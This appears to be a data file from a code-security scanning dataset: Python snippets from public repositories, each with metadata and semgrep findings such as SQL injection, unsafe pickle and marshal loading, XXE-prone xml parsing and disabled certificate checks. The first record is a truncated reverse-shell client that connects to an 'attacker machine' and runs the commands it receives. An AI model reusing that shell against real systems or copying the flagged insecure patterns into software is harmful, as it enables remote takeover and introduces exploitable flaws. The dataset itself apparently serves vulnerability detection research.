/blockade_start.py
VenkatTeja/Un-trusted-website-blocker
MIT
2024-11-19T01:55:14.679189+00:00
1,554,312,627,000
b6907ec0f27fcff913b5737c517d521ba3edaeb1
3
{ "blob_id": "b6907ec0f27fcff913b5737c517d521ba3edaeb1", "branch_name": "refs/heads/master", "committer_date": 1554312627000, "content_id": "67b77e3c784dac56e8de785e4d000ffbc6b0244c", "detected_licenses": [ "MIT" ], "directory_id": "42ce54d74b9bf8aed8d4907e1d106976137e1578", "extension": "py", "fi...
2.921875
stackv2
import socket,subprocess HOST = "localhost" # The remote host PORT = 1337 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) while 1: # recieve shell command data = s.recv(1024) # if its quit, the...
19
34.89
117
10
170
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_464ef1fca6b22a83_1c255473", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 13, 13 ]
[ 13, 13 ]
[ 13, 42 ]
[ 118, 46 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
client.py
/client.py
AhmedSakrr/r3v3rs3sh3ll
MIT
2024-11-19T01:55:17.618668+00:00
1,513,597,920,000
25a11edc593566896e9c7b396efbd235fcc9de19
3
{ "blob_id": "25a11edc593566896e9c7b396efbd235fcc9de19", "branch_name": "refs/heads/master", "committer_date": 1513597920000, "content_id": "6a6c195c30a5f6daf79f9efd767a7d30876cef56", "detected_licenses": [ "MIT" ], "directory_id": "a4e8e66dc196e944a557e412c4f369e26d828021", "extension": "py", "fi...
2.609375
stackv2
import xml.etree.ElementTree as ET import MySQLdb as MyDB import glob # Get the name of the most upto date reference file print("checkin / out working nicely") fpath = glob.glob('//192.168.1.3/trainDog/reference/*_ref_*.xml') print("File being used is: {}".format(fpath[0])) # setting up the parsing of the xml file tre...
103
34.01
89
16
984
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_970d627c7b2235fd_66a8df36", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
3
true
[ "CWE-611", "CWE-611", "CWE-89" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 1, 10, 21 ]
[ 1, 10, 21 ]
[ 1, 8, 5 ]
[ 35, 26, 24 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)", "A01:2017 - Injection" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "HIGH" ]
StaticDBLoad.py
/StaticDBLoad.py
sgodman/oldTrainDog
MIT
2024-11-19T01:55:21.514002+00:00
1,592,971,619,000
25a632fc6f6b861c4c847bc208866301e1d74127
2
{ "blob_id": "25a632fc6f6b861c4c847bc208866301e1d74127", "branch_name": "refs/heads/master", "committer_date": 1592983720000, "content_id": "910b0401b16256bdbcbadc66f8315b5ac1b65242", "detected_licenses": [ "MIT" ], "directory_id": "d7274ab92c9e67325264e365f8c1dd9fbf3b75ab", "extension": "py", "fi...
2.3125
stackv2
from django.db import models from django.db.models import Q, Value from django.contrib.auth.models import AbstractBaseUser, BaseUserManager import datetime class CustomUserManager(BaseUserManager): def create_user( self, email, password=None, is_staff=False, is_active=True, **extra_fields ): ""...
39
34.03
98
17
292
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_a05378eb36ea35d7_e108d80e", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'user' is being se...
1
true
[ "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 19 ]
[ 19 ]
[ 13 ]
[ 40 ]
[ "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
managers.py
/kda/account/managers.py
larrykamau/delivery-server
MIT
2024-11-19T01:55:25.431313+00:00
1,689,112,604,000
45b19a379e46bdd93e71df5f5e762719b39a418c
3
{ "blob_id": "45b19a379e46bdd93e71df5f5e762719b39a418c", "branch_name": "refs/heads/main", "committer_date": 1689112604000, "content_id": "11ab4989bb18c26f54a7702164297cf0b2e9d53f", "detected_licenses": [ "MIT" ], "directory_id": "7f72746776a06e2e07248ea83cffc6c4af5ac4ef", "extension": "py", "file...
2.53125
stackv2
# Copyright (C) 2022 Intel Corporation # SPDX-License-Identifier: MIT License from typing import Dict, Union from argparse import ArgumentParser, Namespace from pathlib import Path import os import pickle import lmdb import dgl import torch from tqdm import tqdm from torch_geometric.data import Data as PyGData from ...
96
34.31
93
19
806
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_8e875a62d8ce5985_0a6c8e9b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 68, 75 ]
[ 68, 75 ]
[ 32, 32 ]
[ 58, 58 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
is2re_pyg2dgl_conversion.py
/ocpmodels/datasets/is2re_pyg2dgl_conversion.py
IntelLabs/matsciml
MIT
2024-11-19T01:55:31.274916+00:00
1,623,315,938,000
44b268e1b5446b84e3121332dec69e9b19f4b9ce
2
{ "blob_id": "44b268e1b5446b84e3121332dec69e9b19f4b9ce", "branch_name": "refs/heads/master", "committer_date": 1623315938000, "content_id": "f603569d51f0d98676f8562e49813b2c8c0df4b3", "detected_licenses": [ "Apache-2.0" ], "directory_id": "422073413d016fd5f2d6c92a008ee730ad7f05f6", "extension": "py"...
2.3125
stackv2
# -*- coding: utf-8 -*- import msgpack import base64 from fastapi import FastAPI from fastapi import Body from starlette.requests import Request import pprint import traceback import sys import os from os import listdir from os.path import isfile, join from typing import List import requests from fastapi import HTTPEx...
245
41.87
121
19
2,515
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_f134fdb829cd2860_a5937393", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding...
7
true
[ "CWE-918", "CWE-918" ]
[ "rules.python.flask.security.injection.ssrf-requests", "rules.python.flask.security.injection.ssrf-requests" ]
[ "security", "security" ]
[ "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 221, 231 ]
[ 221, 231 ]
[ 20, 17 ]
[ 76, 72 ]
[ "A10:2021 - Server-Side Request Forgery (SSRF)", "A10:2021 - Server-Side Request Forgery (SSRF)" ]
[ "Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the prox...
[ 7.5, 7.5 ]
[ "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH" ]
udf.py
/src/openeo_udf/server/udf.py
Open-EO/openeo-udf
Apache-2.0
2024-11-19T01:55:32.025660+00:00
1,528,200,090,000
08f71263c985b8d19bc18df786dcf88a6a5b55c2
3
{ "blob_id": "08f71263c985b8d19bc18df786dcf88a6a5b55c2", "branch_name": "refs/heads/master", "committer_date": 1528457925000, "content_id": "cce68b8b9ae71906f1c5e148b73b328db15e5995", "detected_licenses": [ "MIT" ], "directory_id": "75399026dac78ee4656dc2674f05b32c9a60a1e1", "extension": "py", "fi...
2.609375
stackv2
#!/usr/bin/env python2 import socket import random import requests import subprocess def calc(expr): pp = subprocess.Popen("./calc", stdin=subprocess.PIPE, stdout=subprocess.PIPE) res = pp.communicate(expr)[0].rstrip('\r\n ') return res[:400] def main(): Server = ('localhost...
138
44.23
80
27
1,387
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_148cd19de8241d12_dc024ff1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
5
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 25, 27 ]
[ 25, 27 ]
[ 20, 23 ]
[ 35, 38 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
main.py
/ircbot/main.py
silverneko/HWs
MIT
2024-11-19T01:55:33.113591+00:00
1,608,570,126,000
eacff986ceb1e2944883b9f578b3a53a60207c67
3
{ "blob_id": "eacff986ceb1e2944883b9f578b3a53a60207c67", "branch_name": "refs/heads/main", "committer_date": 1608570126000, "content_id": "87fdde3309df824e98317b766d37bd6a76871e34", "detected_licenses": [ "MIT" ], "directory_id": "efc7b5e1a5dfef082fd10fe4577a6ec8f47e0bda", "extension": "py", "file...
2.671875
stackv2
import sqlite3, ast def getRows(db_path): ''' Returns all the constituencies with current cases and other details ''' conn = sqlite3.connect(db_path) #change path here c = conn.cursor() c.execute(f'''select * from main;''') rows=c.fetchall() c.execute(f'''PRAGMA table_info(main);''') column_names=[t[1] for t ...
35
26.89
72
10
245
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_f98d8f20692cfea7_d6b203bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. U...
3
true
[ "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.lang.security.audit.formatted-sql-query" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 9, 11, 23 ]
[ 9, 11, 23 ]
[ 2, 2, 2 ]
[ 39, 44, 44 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Detected possible formatted SQL query. Use parameterized queries instead.", "Detected possible formatted SQL query. Use parameterized queries instead." ]
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
sqlquery.py
/backend/App/sqlquery.py
sayan1999/Loud-N-Cloud
MIT
2024-11-19T02:06:43.253249+00:00
1,609,636,177,000
1f65ab5c4af23d5ba58cb122c8c50cec9ce61ba8
3
{ "blob_id": "1f65ab5c4af23d5ba58cb122c8c50cec9ce61ba8", "branch_name": "refs/heads/main", "committer_date": 1609636177000, "content_id": "75cd21fc2e7070ffb0083851f4e767c5ebc1ebb8", "detected_licenses": [ "MIT" ], "directory_id": "9255e789a167d299b2890d4c2bdffa78a21a2ef2", "extension": "py", "file...
3.078125
stackv2
from utils_tf2 import * import numpy as np import tensorflow as tf import pickle ''' This is an NN for prediction of the Ludwig vertical parameters value. The structure is: Train/Test split = 0.85 hidden layers = 3 sigmoids neurons in each layer = 15 15 15 learning rate = 0.001 number of epochs = 100000 ''' # Speci...
58
37.67
139
10
653
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_3cf89656cdd0ceba_09cbfd4d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 55 ]
[ 55 ]
[ 1 ]
[ 27 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
l3horizontal_linear_nn.py
/NN/l3horizontal_linear_nn.py
Big-Fuzz/AS-MT
MIT
2024-11-19T02:06:45.501071+00:00
1,542,805,577,000
98bb9a9c50f91bef2b092419e6e4b320a3077236
3
{ "blob_id": "98bb9a9c50f91bef2b092419e6e4b320a3077236", "branch_name": "refs/heads/master", "committer_date": 1542805577000, "content_id": "2b16e3017f5a5c74bbcbf019098a2c0894bab0a3", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "3f19365f3e9ce48acb8b6638e4a1161fa025aebd", "extension": "p...
2.578125
stackv2
""" Helper methods for pdf files """ import os import re from collections import Counter, OrderedDict from PyPDF2.pdf import PdfFileReader import random import tempfile import subprocess FIELDTYPES = {'/Tx': 'text'} # TODO: add other types if needed def getFormFields(filepath): """ Get field information of ...
153
36.47
157
22
1,421
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_991224f28f6ec736_13c1520c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
2
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 110 ]
[ 110 ]
[ 13 ]
[ 48 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
pdf.py
/emonitor/lib/pdf/pdf.py
Durburz/eMonitor
BSD-3-Clause
2024-11-19T02:06:46.071557+00:00
1,577,672,857,000
186130ebbdb54bf19de20a83320e3d2b0fad512a
2
{ "blob_id": "186130ebbdb54bf19de20a83320e3d2b0fad512a", "branch_name": "refs/heads/master", "committer_date": 1577672882000, "content_id": "8de114343c5ffd99de2abeaa884fd4a494df91ac", "detected_licenses": [ "MIT" ], "directory_id": "1dcbc7d49a4502baea7acebdefabf90d4e320866", "extension": "py", "fi...
2.421875
stackv2
import pstats try: import cProfile as profile except ImportError: import profile try: from cStringIO import StringIO except ImportError: from io import StringIO from django.conf import settings from django.http import HttpResponse class ProfilerMiddleware: """ Simple profile middleware to pr...
72
32.62
83
19
494
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_cadf8e0e9faa39e4_0f04edae", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure agai...
2
true
[ "CWE-502", "CWE-79" ]
[ "rules.python.lang.security.audit.marshal-usage", "rules.python.django.security.audit.xss.direct-use-of-httpresponse" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 58, 71 ]
[ 58, 71 ]
[ 26, 28 ]
[ 55, 73 ]
[ "A08:2017 - Insecure Deserialization", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "Detected data rendered directly to the end user via ...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
middleware.py
/django_cprofile_middleware/middleware.py
dgmdan/django-cprofile-middleware
MIT
2024-11-19T02:06:52.860106+00:00
1,479,274,875,000
8ffe73f404e0974e6e5026fd5acf1c27ee52037b
3
{ "blob_id": "8ffe73f404e0974e6e5026fd5acf1c27ee52037b", "branch_name": "refs/heads/master", "committer_date": 1479274875000, "content_id": "4e7cac19771cd54009015613a4418996e487e7da", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "9db04711e1f79f0957c454d65b70f7564d662c92", "extension": "p...
3.125
stackv2
#!/usr/bin/env python # -*- coding: utf-8 -*- # # rst2md.py # ========= # # A reStructuredText to Markdown conversion tool, using Python's docutils # library. # # by Eron Hennessey # import os import sys from abstrys.docutils_ext.markdown_writer import MarkdownWriter from abstrys.common import printerr from docutils....
133
30.66
88
16
935
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_682f33fac711e2a5_68269bc9", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja...
5
true
[ "CWE-79", "CWE-116", "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled", "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 84, 84, 87 ]
[ 85, 85, 87 ]
[ 17, 17, 12 ]
[ 30, 30, 33 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
cmd_rst2md.py
/abstrys/cmd_rst2md.py
acsr/rst2db
BSD-3-Clause
2024-11-19T02:06:54.786510+00:00
1,646,730,685,000
7bad2e484d1d5e6d70395ac6017b56b568baac0d
3
{ "blob_id": "7bad2e484d1d5e6d70395ac6017b56b568baac0d", "branch_name": "refs/heads/master", "committer_date": 1646730685000, "content_id": "066f098cc53be2d3169638d3ba48a4e6aa63ec91", "detected_licenses": [ "MIT" ], "directory_id": "63ea2716b437f9eef9adbcb3b3e3523a2dcffacd", "extension": "py", "fi...
2.890625
stackv2
''' Created on Nov 28, 2016 @author: David Zwicker <dzwicker@seas.harvard.edu> ''' from __future__ import division import sys from xml.sax.saxutils import XMLGenerator from xml.sax.xmlreader import AttributesNSImpl class XMLStreamWriter(object): """ class for writing an xml file iteratively """ def __i...
69
29.23
80
16
459
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_ff50cfdd9659d388_d3fcb1fd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 11, 12 ]
[ 11, 12 ]
[ 1, 1 ]
[ 42, 47 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The Python documentation recommends using `defusedxml` ins...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
xml_tools.py
/utils/data_structures/xml_tools.py
david-zwicker/py-utils
MIT
2024-11-19T02:06:55.099770+00:00
1,519,589,330,000
0eb6c181ef9d06353c0afdd05b060572c6691bfb
3
{ "blob_id": "0eb6c181ef9d06353c0afdd05b060572c6691bfb", "branch_name": "refs/heads/master", "committer_date": 1519589330000, "content_id": "9baae76f9683aa11e41ce63f3843baad5ebe869e", "detected_licenses": [ "MIT" ], "directory_id": "95a23f1d7332c969b29ef44da8d57f3e7bf9d749", "extension": "py", "fi...
2.609375
stackv2
""" - Sharad Bhat - 5th November, 2017 """ import win32com.client as wincl import pymysql import tweepy speak = wincl.Dispatch("SAPI.SpVoice") db = pymysql.connect(host="localhost", user="root", passwd="*********", db="tweet") cur = db.cursor() CONSUMER_KEY = 'YOUR_CONSUMER_KEY' CONSUMER_SECRET = 'YOUR_CONSUMER_SEC...
58
20.53
83
13
318
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_83014780852bee89_afa0fc26", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. U...
4
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 32, 32, 43, 43 ]
[ 32, 32, 43, 43 ]
[ 12, 12, 9, 9 ]
[ 79, 79, 65, 65 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
tweet_reader.py
/Tweet Reader/tweet_reader.py
sharadbhat/Python-Scripts
MIT
2024-11-19T02:06:55.723514+00:00
1,541,433,680,000
f49b9d1bf55808ce017f08ea731bb0639b47028f
3
{ "blob_id": "f49b9d1bf55808ce017f08ea731bb0639b47028f", "branch_name": "refs/heads/master", "committer_date": 1541433680000, "content_id": "20641b61b8f942ed3cabb7cccee2c8b997d21727", "detected_licenses": [ "MIT" ], "directory_id": "9187d377034825b61d4178076142bddf81478fc2", "extension": "py", "fi...
2.796875
stackv2
#!/usr/bin/env python import marlo from marlo import MarloEnvBuilderBase from marlo import MalmoPython import os from pathlib import Path class MarloEnvBuilder(MarloEnvBuilderBase): """ Description: This environment is a flat map littered with lots of food items which the agent can pick up. The goal is...
71
27.79
85
17
473
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_2817ad39bb8dfe7e_92d86f1a", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja...
1
true
[ "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 60 ]
[ 62 ]
[ 16 ]
[ 10 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
main.py
/marlo/envs/Eating/main.py
AndKram/marLo
MIT
2024-11-19T02:07:01.305322+00:00
1,572,234,631,000
a5b5d9c5d0488e00a22dc6a85e7590f81ddf8652
2
{ "blob_id": "a5b5d9c5d0488e00a22dc6a85e7590f81ddf8652", "branch_name": "refs/heads/master", "committer_date": 1572234631000, "content_id": "f751833b38238610b97b6e86566fd334e0e8fa5a", "detected_licenses": [ "MIT" ], "directory_id": "ac53ed07a534db727e57714f5fdd07950d22c170", "extension": "py", "fi...
2.46875
stackv2
import requests # url = 'https://www.12306.cn' url = 'https://www.12306.cn/mormhweb' headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36' } # 12306是自己颁布的证书,所以显示https不安全 # 解决方法,忽略证书访问 response = requests.get(url=url,...
17
24.82
141
9
172
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_44e16c110cc0a577_4c9d47cb", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request ...
4
true
[ "CWE-295" ]
[ "rules.python.requests.security.disabled-cert-validation" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 13 ]
[ 13 ]
[ 12 ]
[ 64 ]
[ "A03:2017 - Sensitive Data Exposure" ]
[ "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation." ]
[ 7.5 ]
[ "LOW" ]
[ "LOW" ]
03-requests_ssl.py
/Python学习/爬虫day05/03-requests_ssl.py
taoyan/python
MIT
2024-11-19T02:07:15.623063+00:00
1,693,458,486,000
8eff2a08eb903c75ee98ce3d7b8f5aad3e138fa3
2
{ "blob_id": "8eff2a08eb903c75ee98ce3d7b8f5aad3e138fa3", "branch_name": "refs/heads/main", "committer_date": 1693458486000, "content_id": "390484d5e13717b785a3384ec98dc8a039f39bd1", "detected_licenses": [ "MIT" ], "directory_id": "77d98aa80576d639f63492be7e3923cfe3b78271", "extension": "py", "file...
2.375
stackv2
#!/usr/bin/env python3 # Copyright (c) Meta Platforms, Inc. and affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import bz2 import lzma import re import sqlite3 import tempfile import zlib from collections import defaultdict from ...
289
41.06
83
22
2,717
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_ed6f0446e7706e44_d6c0f9b1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
5
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 16 ]
[ 16 ]
[ 1 ]
[ 34 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
parse_repodata.py
/antlir/rpm/parse_repodata.py
facebookincubator/antlir
MIT
2024-11-19T02:07:23.515540+00:00
1,433,476,194,000
76a2be8411a5bc1e93d81e10b739083937c15b8e
2
{ "blob_id": "76a2be8411a5bc1e93d81e10b739083937c15b8e", "branch_name": "refs/heads/master", "committer_date": 1433476194000, "content_id": "07726dc7576c5b0484d6d536b51b8fc9a36ffe43", "detected_licenses": [ "MIT" ], "directory_id": "2a9d8a56ebba5e11ccd31afeeda6fd1892c6b228", "extension": "py", "fi...
2.34375
stackv2
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import sqlite3 import struct import marshal import array import re def read_obj(fp): z = fp.read(5) if not z: raise EOFError assert z.startswith('+') (n,) = struct.unpack('<xI', z) return marshal.loads(fp.read(n)) def read_objs(fp): whil...
64
21.94
68
17
414
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_b09404d3a616dc08_87675247", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure agai...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.audit.marshal-usage" ]
[ "security" ]
